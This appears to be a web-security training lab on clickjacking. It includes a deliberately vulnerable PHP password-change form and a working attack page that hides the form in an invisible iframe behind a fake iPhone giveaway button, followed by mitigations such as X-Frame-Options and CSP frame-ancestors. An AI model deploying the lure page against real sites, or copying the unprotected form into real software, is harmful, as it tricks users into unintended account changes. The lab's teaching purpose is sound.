Logo Light

Network

Web Apps

System

Cloud

Cryptography

IoT

Exercise 17: Clickjacking

by | Jan 27, 2025

Objective

Learn how to exploit Clickjacking vulnerabilities by tricking users into clicking on hidden or disguised elements, leading them to perform unintended actions. Understand how to mitigate this threat using security headers and best practices.

Scenario

You’re assessing a web application with sensitive actions, such as changing account settings. Due to a lack of protective measures, the application is vulnerable to clickjacking. Your goal is to exploit this vulnerability and learn how to prevent it.

Lab Setup

Prerequisites:

  • Basic knowledge of HTML and web security.
  • XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
  • A code editor (e.g., VSCode, Sublime Text).

Step 1: Create the Vulnerable Web Application

PHP Script for Sensitive Action

Create a file change_password.php: 

<?php
session_start();
$_SESSION['user'] = 'alice';

if (isset($_POST['change'])) {
    echo "<h2>Password Changed Successfully!</h2>";
}
?>

<h2>Change Password</h2>
<form method="POST" action="">
    <input type="password" name="password" placeholder="New Password" required><br>
    <button type="submit" name="change">Change Password</button>
</form>

Running the Application

  • Start the Apache server.
  • Place change_password.php in the web server’s root directory (htdocs for XAMPP).
  • Open http://localhost/change_password.php in your browser.

Exploitation Steps

Step 1: Creating the Malicious Clickjacking Page

Create a file clickjacking_attack.html: 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Free iPhone Giveaway!</title>
    <style>
        iframe {
            opacity: 0;
            position: absolute;
            top: 0;
            left: 0;
            width: 800px;
            height: 600px;
            z-index: 2;
        }
        button {
            z-index: 1;
            position: relative;
        }
    </style>
</head>
<body>
    <h2>Click below to win a free iPhone!</h2>
    <button>Click Me!</button>

    <iframe src="http://localhost/change_password.php"></iframe>
</body>
</html>

Host clickjacking_attack.html on any web server.

Trick the victim into clicking the Click Me! button.

Expected Result:

  • The victim unknowingly clicks the invisible button in the iframe, changing their password.

Solution and Prevention

Problem Analysis

  • The vulnerable page can be embedded in an iframe, enabling clickjacking attacks.

Fixing the Vulnerability

Set X-Frame-Options Header

Prevent the page from being loaded in an iframe: 

header('X-Frame-Options: DENY');

Or allow framing only from the same origin: 

header('X-Frame-Options: SAMEORIGIN');

Implement Content Security Policy (CSP)

Use CSP to prevent iframe embedding: 

header("Content-Security-Policy: frame-ancestors 'none';");

Use Frame Busting Scripts (Less Effective)

JavaScript-based protection: 

<script>
    if (top !== self) {
        top.location = self.location;
    }
</script>

Use Multi-Factor Authentication (MFA)

Require MFA for sensitive actions to add another layer of security.

Testing After Fix

  1. Reload the malicious clickjacking_attack.html after applying the security headers.
  2. Expected Result:
    • The iframe either fails to load or displays a frame-blocking error.

Conclusion

In this lab, you exploited a Clickjacking vulnerability by tricking a user into clicking a hidden button that changed their password. You also learned how to mitigate this risk using security headers like X-Frame-Options and Content Security Policy (CSP).

0 Comments